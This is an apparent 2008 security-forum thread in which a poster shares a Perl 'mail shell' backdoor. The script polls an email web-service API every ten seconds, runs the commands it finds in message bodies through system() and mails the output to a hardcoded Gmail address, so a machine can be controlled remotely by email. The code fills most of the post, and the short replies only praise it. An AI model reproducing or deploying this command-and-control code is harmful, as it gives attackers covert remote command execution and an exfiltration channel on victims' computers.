Government Security
Network Security Resources

Jump to content

Photo

[perl] Shell Pc By Sms/mail


  • Please log in to reply
3 replies to this topic

#1 lovex

lovex

    Private

  • Members
  • 2 posts

Posted 15 March 2008 - 11:59 PM

Shell PC by SMS/Mail by m3 Z3vil x)

Simple Theory
Posted Image
-----------------------------------
-----------[  Tools  ]------------
-----------------------------------

Brain
------
#x) This tools is very important 

SMS/Mail Web service
--------------------------
#Ex: Orange
#http://www.orangepartner.com/site/enuk/develop/devplayzone/emailapi/p_email_api_alpha.jsp
#& create your UserID !

Coding
--------
#Your favorite [Perl/C++/.Net/Java…]
 -------------------------------------
------------[  Demo  ]-------------
-------------------------------------

Download this vidz for see [important]
---------------------------------------------

#http://rapidshare.com/files/99910840/MailShellByZ3vil.rar

Test
-----
#with Google Mail [Gmail]

Message to send 
-------------------
 [YOUR CMD] >tmp 
“>tmp” is tmp file for get result from shell !

Shell Code
------------
#---------------------------------------- 
   #   This programe has been created	  #
#   by Z3vil, [ 'HellSoft' ] Team	   #
#   for EasyShelling & routing [RAD]	#
#   by using a SMS/Mail web service	 #
#   Technology						  #
#   Adrabi[At]Gmail.com h4cK m3 x)	  #
#----------------------------------------

#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;
use URI::Escape;

#Ex : Orange Mail WebService
#Read this : http://www.orangepartner.com/site/enuk/develop/devplayzone/emailapi/p_email_api_alpha.jsp

#Variables
my $sendMail	= "http://mail.alpha.orange-api.net/mail/sendMail.xml?id=a5a3e7b066c&from=Z3vil&to=adrabi\@gmail.com&subject=Mail+Shell&body=";
my $getMail	 = "http://mail.alpha.orange-api.net/mail/getMail.xml?id=a5a3e7b066c&number=1";
my $deleteMail  = "http://mail.alpha.orange-api.net/mail/deleteMail.xml?id=a5a3e7b066c&number=1";

#Prototype
sub execCMD($);
sub sendResult;
sub deleteLastMsg;

#Main
my  $UA  =   LWP::UserAgent->new;
	$UA->agent("Z3vil/HellSoft");

print "[+]...Start Mail Shell by Z3vil";

while(1){
	my  $Rep =  $UA->get($getMail);
	if($Rep->is_success){
		execCMD($Rep->content);
		deleteLastMsg;
		sendResult;
	}
	sleep 10; # 10s x) 
}

#Subroutines
sub execCMD($){
	if(shift =~/body.*\[([\w\s\W]+)\n+\].*/gi){
		system "$1";
	}
}

sub sendResult{
	my $rs="";
	if( -e "tmp" && (-s "tmp") > 0 ){
		my $rs="";
		open(FH , "tmp");
		while(<FH>){
			$rs.=$_;
		}
		close(FH);
		system("del tmp");
		$UA->get($sendMail.uri_escape($rs));
	}
}

sub deleteLastMsg{
	$UA->get($deleteMail);
}
[ 'HellSoft' ] Team ...


#2 Guest_DiabloHorn_*

Guest_DiabloHorn_*
  • Guests

Posted 16 March 2008 - 05:13 AM

nice :) just next time use another picture to represent the hacker :P

#3 lovex

lovex

    Private

  • Members
  • 2 posts

Posted 16 March 2008 - 11:10 AM

nice :) just next time use another picture to represent the hacker :P


^_^ Okay !

#4 fynamite

fynamite

    Private

  • Members
  • 12 posts

Posted 04 September 2009 - 05:39 AM

I agree with DiabolHorn.




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users